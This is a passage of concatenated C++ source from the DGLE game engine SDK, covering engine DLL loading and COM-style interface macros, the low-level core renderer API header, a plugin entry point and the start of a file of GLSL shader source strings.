\ return false; \ return pCreateEngine(pEngineCore, eFlags, _DGLE_SDK_VER_); \ } \ bool FreeEngine(DGLE::IEngineCore *pEngineCore = NULL, bool bFreeLib = true) \ { \ bool result = true; \ if (pEngineCore && (result = pFreeEngine)) \ result = pFreeEngine(pEngineCore); \ if (bFreeLib && (result &= hServer != NULL, hServer)) \ { \ if (result &= pFreeEngine != NULL, pFreeEngine) \ result &= pFreeEngine(NULL); \ ::FreeLibrary(hServer); \ hServer = NULL; \ pCreateEngine = NULL; \ pFreeEngine = NULL; \ } \ return result; \ } \ bool GetEngine(const char *pcDllFileName, DGLE::IEngineCore *&pEngineCore, DGLE::E_GET_ENGINE_FLAGS eFlags = DGLE::GEF_DEFAULT) \ { \ if (hServer == NULL) \ { \ pEngineCore = NULL; \ if (hServer == NULL) \ { \ hServer = ::LoadLibraryA(pcDllFileName); \ if (hServer == NULL) return false; \ } \ if (pCreateEngine == NULL && pFreeEngine == NULL) \ { \ pCreateEngine = reinterpret_cast<bool (CALLBACK *)(DGLE::IEngineCore *&, DGLE::E_GET_ENGINE_FLAGS, DGLE::uint8)> \ (::GetProcAddress(hServer,("CreateEngine"))); \ pFreeEngine = reinterpret_cast<bool (CALLBACK *)(DGLE::IEngineCore *)> \ (::GetProcAddress(hServer,("FreeEngine"))); \ if (pCreateEngine == NULL || pFreeEngine == NULL) \ { \ ::FreeLibrary(hServer); \ hServer = NULL; \ return false; \ } \ } \ } \ if (hServer) return CreateEngine(pEngineCore, eFlags); \ return false; \ } // Helper macroses // /** Macros checks DGLE_RESULT value and throws exception of DGLE_RESULT type if value is failed. \param[in] res DGLE_RESULT value to be checked. \see FAILED */ #define CHECK_RES(res) { DGLE_RESULT res_ = res; if (FAILED(res_)) throw res_; } /** \def PARANOIC_CHECK_RES(res) Macros checks DGLE_RESULT value and drop assertion on any value except S_OK. Useful for debugging. After skipping assertion always returns S_OK. In release macros do nothing. \param[in] res DGLE_RESULT value to be checked. \code PARANOIC_CHECK_RES(pEngineCore->StartEngine()); \endcode */ #ifdef NDEBUG # define PARANOIC_CHECK_RES(res) res #else # define PARANOIC_CHECK_RES(res) assert(res == S_OK), S_OK #endif //Implementation macroses// #ifdef DGLE_USE_COM #define INTERFACE_IMPL(interface_name, next) \ if (memcmp(&riid, &IID_##interface_name, sizeof(GUID)) == 0)\ *ppvObject = static_cast<interface_name *>(this);\ else\ next #define INTERFACE_IMPL_END return E_NOINTERFACE; #define IUNKNOWN_IMPL(interface_impl_list) \ HRESULT CALLBACK QueryInterface(REFIID riid, void __RPC_FAR *__RPC_FAR *ppvObject)\ {\ *ppvObject = NULL;\ if (memcmp(&riid, &__uuidof(IUnknown), sizeof(GUID)) == 0)\ *ppvObject = static_cast<IUnknown *>(this);\ else\ interface_impl_list\ return S_OK;\ }\ ULONG CALLBACK AddRef() { return 1; }\ ULONG CALLBACK Release() { return 1; } #else//DGLE_USE_COM #define INTERFACE_IMPL(interface_name, next) #define INTERFACE_IMPL_END #define IUNKNOWN_IMPL(interface_impl_list) #endif #define IDGLE_BASE_DUMMY_COMMANDS_IMPL \ DGLE_RESULT DGLE_API ExecuteCommand(uint uiCmd, TVariant &stVar)\ {\ stVar.Clear();\ return E_NOTIMPL;\ }\ DGLE_RESULT DGLE_API ExecuteTextCommand(const char *pcCommand, TVariant &stVar)\ {\ stVar.Clear();\ return E_NOTIMPL;\ }\ DGLE_RESULT DGLE_API ExecuteTextCommandEx(const char *pcCommand, char *pcResult, uint &uiCharsCount)\ {\ if (!pcCommand)\ return E_INVALIDARG;\ if (!pcResult)\ {\ uiCharsCount = 1;\ return S_OK;\ }\ if (uiCharsCount < 1)\ return E_INVALIDARG;\ else\ {\ if (pcResult && uiCharsCount > 0)\ strcpy(pcResult, "");\ else\ pcResult = NULL;\ uiCharsCount = 0;\ return E_NOTIMPL;\ }\ } #define IDGLE_BASE_GUID_IMPL(interface_name) \ DGLE_RESULT DGLE_API GetGUID(GUID &guid)\ {\ guid = IID_##interface_name;\ return S_OK;\ }\ /** \def IDGLE_BASE_IMPLEMENTATION(interface_name) Macros inserts realization of IDGLE_Base interface into class body. Can be used with interfaces inherited from IDGLE_Base. \param[in] interface_name Name of the last interface in inheritance chain from IDGLE_Base. \param[in] interface_impl_list List of all other interfaces names of inheritance chain. List is generated via define INTERFACE_IMPL. \note It also inserts IUnknown implementation for Windows builds with COM support turned on. */ #define IDGLE_BASE_IMPLEMENTATION(interface_name, interface_impl_list) \ IDGLE_BASE_DUMMY_COMMANDS_IMPL\ IDGLE_BASE_GUID_IMPL(interface_name)\ IUNKNOWN_IMPL(INTERFACE_IMPL(IDGLE_Base, INTERFACE_IMPL(interface_name, interface_impl_list))) #endif//DGLE_HEADER<file_sep>/dgle/DGLE_CoreRenderer.h /** \file DGLE_CoreRenderer.h \author <NAME> aka DRON \version 2:0.3.5 \date XX.XX.XXXX (c)<NAME> \brief This header provides interface of low-level DGLE rendering API. Using of this header is recommended only for experienced users familiar with some GAPI and rendering pipeline. This header is a part of DGLE SDK. \note Include this header after "DGLE.h". */ #ifndef DGLE_CRENDERER #define DGLE_CRENDERER #ifndef DGLE_HEADER #error You must include "DGLE.h" first. #endif namespace DGLE { enum E_CORE_RENDERER_TYPE { CRT_UNKNOWN = 0, CRT_OPENGL_LEGACY /* For future needs. CRT_OPENGL_4_1, CRT_OPENGL_ES_1_1, CRT_OPENGL_ES_2_0*/, CRT_DIRECT_3D_9_0c, CRT_DIRECT_3D_11 }; enum E_CORE_RENDERER_FEATURE_TYPE { CRFT_BUILTIN_FULLSCREEN_MODE = 0, CRFT_BUILTIN_STATE_FILTER, CRFT_MULTISAMPLING, CRFT_VSYNC, CRFT_PROGRAMMABLE_PIPELINE, CRFT_LEGACY_FIXED_FUNCTION_PIPELINE_API, CRFT_BGRA_DATA_FORMAT, CRFT_TEXTURE_COMPRESSION, CRFT_NON_POWER_OF_TWO_TEXTURES, CRFT_DEPTH_TEXTURES, CRFT_TEXTURE_ANISOTROPY, CRFT_TEXTURE_MIPMAP_GENERATION, CRFT_TEXTURE_MIRRORED_REPEAT, CRFT_TEXTURE_MIRROR_CLAMP, CRFT_GEOMETRY_BUFFER, CRFT_FRAME_BUFFER }; enum E_MATRIX_TYPE { MT_PROJECTION = 0, MT_MODELVIEW, MT_TEXTURE }; enum E_TEXTURE_TYPE { TT_2D = 0, TT_3D }; enum E_CORE_RENDERER_METRIC_TYPE { CRMT_MAX_TEXTURE_RESOLUTION = 0, CRMT_MAX_TEXTURE_LAYERS, CRMT_MAX_ANISOTROPY_LEVEL }; enum E_COMPARISON_FUNC { CF_NEVER = 0, CF_LESS, CF_EQUAL, CF_LESS_EQUAL, CF_GREATER, CF_NOT_EQUAL, CF_GREATER_EQUAL, CF_ALWAYS }; enum E_POLYGON_CULL_MODE { PCM_NONE = 0, PCM_FRONT, PCM_BACK }; /* For future needs. enum E_STENCIL_OPERATION { SO_KEEP = 0, SO_ZERO, SO_REPLACE, SO_INVERT, SO_INCR, SO_DECR }; enum E_BLEND_OPERATION { BO_ADD = 0, BO_SUBTRACT, BO_REV_SUBTRACT, BO_MIN, BO_MAX }; */ enum E_BLEND_FACTOR { BF_ZERO = 0, BF_ONE, BF_SRC_COLOR, BF_SRC_ALPHA, BF_DST_COLOR, BF_DST_ALPHA, BF_ONE_MINUS_SRC_COLOR, BF_ONE_MINUS_SRC_ALPHA /* For future needs. BF_ONE_MINUS_DST_COLOR, BF_ONE_MINUS_DST_ALPHA, BF_SRC_ALPHA_SATURATE?, BF_SRC1_COLOR, BF_ONE_MINUS_SRC1_COLOR, BF_SRC1_ALPHA, BF_ONE_MINUS_SRC1_ALPHA */ }; enum E_CORE_RENDERER_DATA_ALIGNMENT { CRDA_ALIGNED_BY_4 = 0, CRDA_ALIGNED_BY_1 }; enum E_CORE_RENDERER_BUFFER_TYPE { CRBT_SOFTWARE = 0, CRBT_HARDWARE_STATIC, CRBT_HARDWARE_DYNAMIC }; enum ENUM_FORWARD_DECLARATION(E_CORE_RENDERER_DRAW_MODE) { CRDM_POINTS = 0, CRDM_LINES, CRDM_TRIANGLES, CRDM_LINE_STRIP, CRDM_TRIANGLE_STRIP, CRDM_TRIANGLE_FAN }; enum E_ATTRIBUTE_DATA_TYPE { ADT_FLOAT = 0, ADT_BYTE, ADT_UBYTE, ADT_SHORT, ADT_USHORT, ADT_INT, ADT_UINT }; enum E_ATTRIBUTE_COMPONENTS_COUNT { ACC_ONE = 0, ACC_TWO, ACC_THREE, ACC_FOUR }; #ifdef STRUCT_ALIGNMENT_1 #pragma pack( push, 1 ) #endif struct TBlendStateDesc { bool bEnabled; E_BLEND_FACTOR eSrcFactor; E_BLEND_FACTOR eDstFactor; /* For future needs. E_BLEND_OPERATION eOperation; bool bSeparate; E_BLEND_FACTOR eSrcAlpha; E_BLEND_FACTOR eDstAlpha; E_BLEND_OPERATION eOpAlpha; */ TBlendStateDesc() : bEnabled(false), eSrcFactor(BF_SRC_ALPHA), eDstFactor(BF_ONE_MINUS_SRC_ALPHA) {} }; /* For future needs. struct TStencilFaceDesc { E_STENCIL_OPERATION eStencilFailOp; E_STENCIL_OPERATION eStencilDepthFailOp; E_STENCIL_OPERATION eStencilPassOp; E_COMPARISON_FUNC eStencilFunc; }; */ struct TDepthStencilDesc { bool bDepthTestEnabled; bool bWriteToDepthBuffer; E_COMPARISON_FUNC eDepthFunc; /* For future needs. bool bStencilEnabled; uint8 ui8StencilReadMask; uint8 ui8StencilWriteMask; TStencilFaceDesc stFrontFace, stBackFace; */ TDepthStencilDesc() : bDepthTestEnabled(true), bWriteToDepthBuffer(true), eDepthFunc(CF_LESS_EQUAL) {} }; struct TRasterizerStateDesc { bool bWireframe; E_POLYGON_CULL_MODE eCullMode; bool bFrontCounterClockwise; bool bScissorEnabled; bool bAlphaTestEnabled; E_COMPARISON_FUNC eAlphaTestFunc; float fAlphaTestRefValue; /* For future needs. int iDepthBias; float fDepthBiasClamp; float fSlopeScaledDepthBias; bool bDepthClipEnabled; */ TRasterizerStateDesc() : bWireframe(false), eCullMode(PCM_NONE), bFrontCounterClockwise(true), bScissorEnabled(false), bAlphaTestEnabled(false), eAlphaTestFunc(CF_GREATER), fAlphaTestRefValue(0.25f) {} }; struct TDrawDataAttributes { uint uiAttribOffset[8]; uint uiAttribStride[8]; E_ATTRIBUTE_DATA_TYPE eAttribDataType[8]; E_ATTRIBUTE_COMPONENTS_COUNT eAttribCompsCount[8]; TDrawDataAttributes() //:uiAttribStride(), eAttribDataType(), eAttribCompsCount() { uiAttribOffset[0] = uiAttribOffset[1] = uiAttribOffset[2] = uiAttribOffset[3] = uiAttribOffset[4] = uiAttribOffset[5] = uiAttribOffset[6] = uiAttribOffset[7] = -1; } }; struct TDrawDataDesc { uint8 *pData; //Must be start of the vertex data. 2 or 3 floats uint uiVertexStride; bool bVertices2D; uint uiNormalOffset; //3 floats uint uiNormalStride; uint uiTextureVertexOffset; //2 floats uint uiTextureVertexStride; uint uiColorOffset; //4 floats uint uiColorStride; /*not implemeted*/ uint uiTangentOffset, uiBinormalOffset; //6 floats, 3 for tangent and 3 for binormal /*not implemeted*/ uint uiTangentStride, uiBinormalStride; /*not implemeted*/ TDrawDataAttributes *pAttribs; uint8 *pIndexBuffer; //May point to separate memory. uint16 or uint32 data pointer. bool bIndexBuffer32; inline TDrawDataDesc() : pData(NULL), uiVertexStride(0), bVertices2D(false), uiNormalOffset(-1), uiNormalStride(0), uiTextureVertexOffset(-1), uiTextureVertexStride(0), uiColorOffset(-1), uiColorStride(0), uiTangentOffset(-1), uiBinormalOffset(-1), uiTangentStride(0), uiBinormalStride(0), pIndexBuffer(NULL), bIndexBuffer32(false), pAttribs(NULL) {} inline TDrawDataDesc(uint8 *pDataPointer, uint uiNormalDataOffset, uint uiTextureVertexDataOffset, bool bIs2D) : pData(pDataPointer), uiVertexStride(0), bVertices2D(bIs2D), uiNormalOffset(uiNormalDataOffset), uiNormalStride(0), uiTextureVertexOffset(uiTextureVertexDataOffset), uiTextureVertexStride(0), uiColorOffset(-1), uiColorStride(0), uiTangentOffset(-1), uiBinormalOffset(-1), uiTangentStride(0), uiBinormalStride(0), pIndexBuffer(NULL), bIndexBuffer32(false), pAttribs(NULL) {} inline bool operator == (const TDrawDataDesc &desc) const { return pData == desc.pData && uiVertexStride == desc.uiVertexStride && bVertices2D == desc.bVertices2D && uiNormalOffset == desc.uiNormalOffset && uiNormalStride == desc.uiNormalStride && uiTextureVertexOffset == desc.uiTextureVertexOffset && uiTextureVertexStride == desc.uiTextureVertexStride && uiColorOffset == desc.uiColorOffset && uiColorStride == desc.uiColorStride && uiTangentOffset == desc.uiTangentOffset && uiBinormalOffset == desc.uiBinormalOffset && uiTangentStride == desc.uiTangentStride && uiBinormalStride == desc.uiBinormalStride && pAttribs == desc.pAttribs && pIndexBuffer == desc.pIndexBuffer && bIndexBuffer32 == desc.bIndexBuffer32; } }; #ifdef STRUCT_ALIGNMENT_1 #pragma pack(pop) #endif // {5C5C5973-D826-42ED-B641-A84DDDAAE2A3} static const GUID IID_IBaseRenderObjectContainer = { 0x5c5c5973, 0xd826, 0x42ed, { 0xb6, 0x41, 0xa8, 0x4d, 0xdd, 0xaa, 0xe2, 0xa3 } }; class IBaseRenderObjectContainer : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API GetObjectType(E_ENGINE_OBJECT_TYPE &eType) = 0; }; #if defined(OPENGL_LEGACY_BASE_OBJECTS) #ifndef USE_GLEW_HEADER # include <gl/GL.h> #else # include <gl/glew.h> #endif // {7264D8D2-C3AF-4ED3-91D1-90E02BE6A4EE} static const GUID IID_IOpenGLTextureContainer = { 0x7264d8d2, 0xc3af, 0x4ed3, { 0x91, 0xd1, 0x90, 0xe0, 0x2b, 0xe6, 0xa4, 0xee } }; class IOpenGLTextureContainer : public IBaseRenderObjectContainer { public: virtual DGLE_RESULT DGLE_API GetTexture(GLuint &texture) = 0; }; // {152B744F-7C1B-414F-BEC1-CD40A308E5DF} static const GUID IID_IOpenGLBufferContainer = { 0x152b744f, 0x7c1b, 0x414f, { 0xbe, 0xc1, 0xcd, 0x40, 0xa3, 0x8, 0xe5, 0xdf } }; class IOpenGLBufferContainer : public IBaseRenderObjectContainer { public: virtual DGLE_RESULT DGLE_API GetVertexBufferObject(GLuint &vbo) = 0; virtual DGLE_RESULT DGLE_API GetIndexBufferObject(GLuint &vbo) = 0; }; #endif #ifdef DX9_LEGACY_BASE_OBJECTS } struct IDirect3DTexture9; struct IDirect3DVertexBuffer9; struct IDirect3DIndexBuffer9; struct IDirect3DVertexDeclaration9; namespace DGLE { // {7EAB859A-ED30-43E3-81E8-FC25755CD681} static const GUID IID_IDX9TextureContainer = { 0x7eab859a, 0xed30, 0x43e3, { 0x81, 0xe8, 0xfc, 0x25, 0x75, 0x5c, 0xd6, 0x81 } }; class IDX9TextureContainer : public IBaseRenderObjectContainer { public: virtual DGLE_RESULT DGLE_API GetTexture(IDirect3DTexture9 *&texture) = 0; }; // {A3814299-88BC-4EED-AF7F-5FF70BEBC4E5} static const GUID IID_IDX9BufferContainer = { 0xa3814299, 0x88bc, 0x4eed, { 0xaf, 0x7f, 0x5f, 0xf7, 0xb, 0xeb, 0xc4, 0xe5 } }; class IDX9BufferContainer : public IBaseRenderObjectContainer { public: virtual DGLE_RESULT DGLE_API GetVB(IDirect3DVertexBuffer9 *&VB) = 0; virtual DGLE_RESULT DGLE_API GetIB(IDirect3DIndexBuffer9 *&IB) = 0; virtual DGLE_RESULT DGLE_API GetVBDecl(IDirect3DVertexDeclaration9 *&VBDecl) = 0; }; #endif #ifdef DX11_LEGACY_BASE_OBJECTS } struct ID3D11ShaderResourceView; struct ID3D11SamplerState; struct ID3D11Buffer; namespace DGLE { // {C18527AB-2804-410B-9822-176F8FAABADE} static const GUID IID_IDX11TextureContainer = { 0xc18527ab, 0x2804, 0x410b,{ 0x98, 0x22, 0x17, 0x6f, 0x8f, 0xaa, 0xba, 0xde } }; class IDX11TextureContainer : public IBaseRenderObjectContainer { virtual DGLE_RESULT DGLE_API GetView(ID3D11ShaderResourceView *&texture) = 0; virtual DGLE_RESULT DGLE_API GetSampler(ID3D11SamplerState *&texture) = 0; }; // {964F1A36-D1C8-4C86-9DDB-56BE646DE58B} static const GUID IID_IDX11BufferContainer = { 0x964f1a36, 0xd1c8, 0x4c86,{ 0x9d, 0xdb, 0x56, 0xbe, 0x64, 0x6d, 0xe5, 0x8b } }; class IDX11BufferContainer : public IBaseRenderObjectContainer { virtual DGLE_RESULT DGLE_API GetVB(ID3D11Buffer *&VB) = 0; virtual DGLE_RESULT DGLE_API GetIB(ID3D11Buffer *&IB) = 0; }; #endif // {8BFF07F9-2A8E-41D0-8505-3128C1B8160A} static const GUID IID_ICoreTexture = { 0x8bff07f9, 0x2a8e, 0x41d0, { 0x85, 0x5, 0x31, 0x28, 0xc1, 0xb8, 0x16, 0xa } }; class ICoreTexture : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API GetSize(uint &width, uint &height) = 0; virtual DGLE_RESULT DGLE_API GetDepth(uint &depth) = 0; virtual DGLE_RESULT DGLE_API GetType(E_TEXTURE_TYPE &eType) = 0; virtual DGLE_RESULT DGLE_API GetFormat(E_TEXTURE_DATA_FORMAT &eFormat) = 0; virtual DGLE_RESULT DGLE_API GetLoadFlags(E_TEXTURE_LOAD_FLAGS &eLoadFlags) = 0; virtual DGLE_RESULT DGLE_API GetPixelData(uint8 *pData, uint &uiDataSize, uint uiLodLevel = 0) = 0; // Note: changes current texture virtual DGLE_RESULT DGLE_API SetPixelData(const uint8 *pData, uint uiDataSize, uint uiLodLevel = 0) = 0; virtual DGLE_RESULT DGLE_API Reallocate(const uint8 *pData, uint uiWidth, uint uiHeight, bool bMipMaps, E_TEXTURE_DATA_FORMAT eDataFormat) = 0; // Note: changes current texture virtual DGLE_RESULT DGLE_API GetBaseObject(IBaseRenderObjectContainer *&prObj) = 0; virtual DGLE_RESULT DGLE_API Free() = 0; }; // {9A77DCFF-9E4B-4716-9BBB-A316BF217F7A} static const GUID IID_ICoreGeometryBuffer = { 0x9a77dcff, 0x9e4b, 0x4716, { 0x9b, 0xbb, 0xa3, 0x16, 0xbf, 0x21, 0x7f, 0x7a } }; class ICoreGeometryBuffer : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API GetGeometryData(TDrawDataDesc &stDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) = 0; virtual DGLE_RESULT DGLE_API SetGeometryData(const TDrawDataDesc &stDesc, uint uiVerticesDataSize, uint uiIndexesDataSize) = 0; virtual DGLE_RESULT DGLE_API Reallocate(const TDrawDataDesc &stDesc, uint uiVerticesCount, uint uiIndexesCount, E_CORE_RENDERER_DRAW_MODE eMode) = 0; virtual DGLE_RESULT DGLE_API GetBufferDimensions(uint &uiVerticesDataSize, uint &uiVerticesCount, uint &uiIndexesDataSize, uint &uiIndexesCount) = 0; virtual DGLE_RESULT DGLE_API GetBufferDrawDataDesc(TDrawDataDesc &stDesc) = 0; virtual DGLE_RESULT DGLE_API GetBufferDrawMode(E_CORE_RENDERER_DRAW_MODE &eMode) = 0; virtual DGLE_RESULT DGLE_API GetBufferType(E_CORE_RENDERER_BUFFER_TYPE &eType) = 0; virtual DGLE_RESULT DGLE_API GetBaseObject(IBaseRenderObjectContainer *&prObj) = 0; virtual DGLE_RESULT DGLE_API Free() = 0; }; class IFixedFunctionPipeline; // {C3B687A1-57B0-4E21-BE4C-4D92F3FAB311} static const GUID IID_ICoreRenderer = { 0xc3b687a1, 0x57b0, 0x4e21, { 0xbe, 0x4c, 0x4d, 0x92, 0xf3, 0xfa, 0xb3, 0x11 } }; class ICoreRenderer : public IEngineSubSystem { public: //Must not be called by user virtual DGLE_RESULT DGLE_API Prepare(TCrRndrInitResults &stResults) = 0; virtual DGLE_RESULT DGLE_API Initialize(TCrRndrInitResults &stResults, TEngineWindow &stWin, E_ENGINE_INIT_FLAGS &eInitFlags) = 0; virtual DGLE_RESULT DGLE_API Finalize() = 0; virtual DGLE_RESULT DGLE_API AdjustMode(TEngineWindow &stNewWin) = 0; // virtual DGLE_RESULT DGLE_API MakeCurrent() = 0; virtual DGLE_RESULT DGLE_API Present() = 0; virtual DGLE_RESULT DGLE_API SetClearColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetClearColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API Clear(bool bColor = true, bool bDepth = true, bool bStencil = true) = 0; virtual DGLE_RESULT DGLE_API SetViewport(uint x, uint y, uint width, uint height) = 0; virtual DGLE_RESULT DGLE_API GetViewport(uint &x, uint &y, uint &width, uint &height) = 0; virtual DGLE_RESULT DGLE_API SetScissorRectangle(uint x, uint y, uint width, uint height) = 0; virtual DGLE_RESULT DGLE_API GetScissorRectangle(uint &x, uint &y, uint &width, uint &height) = 0; virtual DGLE_RESULT DGLE_API SetLineWidth(float fWidth) = 0; virtual DGLE_RESULT DGLE_API GetLineWidth(float &fWidth) = 0; virtual DGLE_RESULT DGLE_API SetPointSize(float fSize) = 0; virtual DGLE_RESULT DGLE_API GetPointSize(float &fSize) = 0; virtual DGLE_RESULT DGLE_API ReadFrameBuffer(uint uiX, uint uiY, uint uiWidth, uint uiHeight, uint8 *pData, uint uiDataSize, E_TEXTURE_DATA_FORMAT eDataFormat) = 0; virtual DGLE_RESULT DGLE_API SetRenderTarget(ICoreTexture *pTexture) = 0; //no stencil for 32bit depth texture virtual DGLE_RESULT DGLE_API GetRenderTarget(ICoreTexture *&prTexture) = 0; virtual DGLE_RESULT DGLE_API CreateTexture(ICoreTexture *&prTex, const uint8 * const pData, uint uiWidth, uint uiHeight, bool bMipmapsPresented, E_CORE_RENDERER_DATA_ALIGNMENT eDataAlignment, E_TEXTURE_DATA_FORMAT eDataFormat, E_TEXTURE_LOAD_FLAGS eLoadFlags) = 0; virtual DGLE_RESULT DGLE_API CreateGeometryBuffer(ICoreGeometryBuffer *&prBuffer, const TDrawDataDesc &stDrawDesc, uint uiVerticesCount, uint uiIndexesCount, E_CORE_RENDERER_DRAW_MODE eMode, E_CORE_RENDERER_BUFFER_TYPE eType) = 0; virtual DGLE_RESULT DGLE_API ToggleStateFilter(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API InvalidateStateFilter() = 0; virtual DGLE_RESULT DGLE_API PushStates() = 0; virtual DGLE_RESULT DGLE_API PopStates() = 0; virtual DGLE_RESULT DGLE_API SetMatrix(const TMatrix4x4 &stMatrix, E_MATRIX_TYPE eMatType = MT_MODELVIEW) = 0; virtual DGLE_RESULT DGLE_API GetMatrix(TMatrix4x4 &stMatrix, E_MATRIX_TYPE eMatType = MT_MODELVIEW) = 0; virtual DGLE_RESULT DGLE_API Draw(const TDrawDataDesc &stDrawDesc, E_CORE_RENDERER_DRAW_MODE eMode, uint uiCount) = 0; virtual DGLE_RESULT DGLE_API DrawBuffer(ICoreGeometryBuffer *pBuffer) = 0; virtual DGLE_RESULT DGLE_API SetColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API ToggleBlendState(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API ToggleAlphaTestState(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetBlendState(const TBlendStateDesc &stState) = 0; virtual DGLE_RESULT DGLE_API GetBlendState(TBlendStateDesc &stState) = 0; virtual DGLE_RESULT DGLE_API SetDepthStencilState(const TDepthStencilDesc &stState) = 0; virtual DGLE_RESULT DGLE_API GetDepthStencilState(TDepthStencilDesc &stState) = 0; virtual DGLE_RESULT DGLE_API SetRasterizerState(const TRasterizerStateDesc &stState) = 0; virtual DGLE_RESULT DGLE_API GetRasterizerState(TRasterizerStateDesc &stState) = 0; virtual DGLE_RESULT DGLE_API BindTexture(ICoreTexture *pTex, uint uiTextureLayer = 0) = 0; virtual DGLE_RESULT DGLE_API GetBindedTexture(ICoreTexture *&prTex, uint uiTextureLayer) = 0; virtual DGLE_RESULT DGLE_API GetFixedFunctionPipelineAPI(IFixedFunctionPipeline *&prFFP) = 0; virtual DGLE_RESULT DGLE_API GetDeviceMetric(E_CORE_RENDERER_METRIC_TYPE eMetric, int &iValue) = 0; virtual DGLE_RESULT DGLE_API IsFeatureSupported(E_CORE_RENDERER_FEATURE_TYPE eFeature, bool &bIsSupported) = 0; virtual DGLE_RESULT DGLE_API GetRendererType(E_CORE_RENDERER_TYPE &eType) = 0; }; // {CA99FAF4-D818-4E16-BF96-C84D4E5F3A8F} static const GUID IID_IFixedFunctionPipeline = { 0xca99faf4, 0xd818, 0x4e16, { 0xbf, 0x96, 0xc8, 0x4d, 0x4e, 0x5f, 0x3a, 0x8f } }; class IFixedFunctionPipeline : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API PushStates() = 0; virtual DGLE_RESULT DGLE_API PopStates() = 0; virtual DGLE_RESULT DGLE_API SetMaterialDiffuseColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetMaterialSpecularColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetMaterialShininess(float fShininess) = 0; virtual DGLE_RESULT DGLE_API GetMaterialDiffuseColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetMaterialSpecularColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetMaterialShininess(float &fShininess) = 0; virtual DGLE_RESULT DGLE_API ToggleGlobalLighting(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetGloablAmbientLight(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetMaxLightsPerPassCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API IsGlobalLightingEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetGloablAmbientLight(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetLightEnabled(uint uiIdx, bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetLightColor(uint uiIdx, const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API SetLightIntensity(uint uiIdx, float fIntensity) = 0; virtual DGLE_RESULT DGLE_API ConfigureDirectionalLight(uint uiIdx, const TVector3 &stDirection) = 0; virtual DGLE_RESULT DGLE_API ConfigurePointLight(uint uiIdx, const TPoint3 &stPosition, float fRange) = 0; virtual DGLE_RESULT DGLE_API ConfigureSpotLight(uint uiIdx, const TPoint3 &stPosition, const TVector3 &stDirection, float fRange, float fSpotAngle) = 0; virtual DGLE_RESULT DGLE_API GetLightEnabled(uint uiIdx, bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetLightColor(uint uiIdx, TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetLightIntensity(uint uiIdx, float &fIntensity) = 0; virtual DGLE_RESULT DGLE_API GetLightType(uint uiIdx, E_LIGHT_TYPE &eType) = 0; virtual DGLE_RESULT DGLE_API GetDirectionalLightConfiguration(uint uiIdx, TVector3 &stDirection) = 0; virtual DGLE_RESULT DGLE_API GetPointLightConfiguration(uint uiIdx, TPoint3 &stPosition, float &fRange) = 0; virtual DGLE_RESULT DGLE_API GetSpotLightConfiguration(uint uiIdx, TPoint3 &stPosition, TVector3 &stDirection, float &fRange, float &fSpotAngle) = 0; virtual DGLE_RESULT DGLE_API SetFogEnabled(bool bEnabled) = 0; virtual DGLE_RESULT DGLE_API SetFogColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API ConfigureFog(float fStart, float fEnd) = 0; virtual DGLE_RESULT DGLE_API GetFogEnabled(bool &bEnabled) = 0; virtual DGLE_RESULT DGLE_API GetFogColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetFogConfiguration(float &fStart, float &fEnd) = 0; }; } #endif //DGLE_CRENDERER<file_sep>/src/Main.cpp /** \author <NAME> aka DRON \date 21.05.2016 (c)<NAME> This file is a part of DGLE project and is distributed under the terms of the GNU Lesser General Public License. See "DGLE.h" for more details. */ #include "PluginCore.h" #include <memory> #include <vector> #include <algorithm> using namespace std; static vector<unique_ptr<CPluginCore>> pluginCores; void CALLBACK InitPlugin(IEngineCore *engineCore, ISubSystemPlugin *&plugin) { pluginCores.push_back(make_unique<CPluginCore>(engineCore)); plugin = pluginCores.back().get(); } void CALLBACK FreePlugin(IPlugin *plugin) { typedef decltype(pluginCores) TPluginCores; pluginCores.erase(find_if(pluginCores.begin(), pluginCores.end(), [plugin](TPluginCores::const_reference curPlugin) { return curPlugin.get() == plugin; })); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { return TRUE; }<file_sep>/src/shaderSources.cpp #include "GL3XCoreRender.h" #include "shaderSources.h" template<int N> static const char** exact_ptrptr(const char *(&v)[N]) { return &v[0]; } static const char *v0[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "uniform mat4 MVP;\n", "//\n", "void main()\n", "{\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f0[] = { "#version 330\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " color_out = main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 2.2f));\n", "}\n", "\n", nullptr }; static const char *v1[] = { "#version 330\n", "layout(location = 0) in vec3 Position;\n", "uniform mat4 MVP;\n", "//\n", "void main()\n", "{\n", " gl_Position = MVP * vec4(Position, 1.0);\n", "}\n", "\n", nullptr }; static const char *f1[] = { "#version 330\n", "uniform vec4 main_color;\n", "out vec4 color_out;\n", "void main()\n", "{\n", " color_out = main_color;\n", " //color_out.rgb = pow(color_out.rgb, vec3(1.0f / 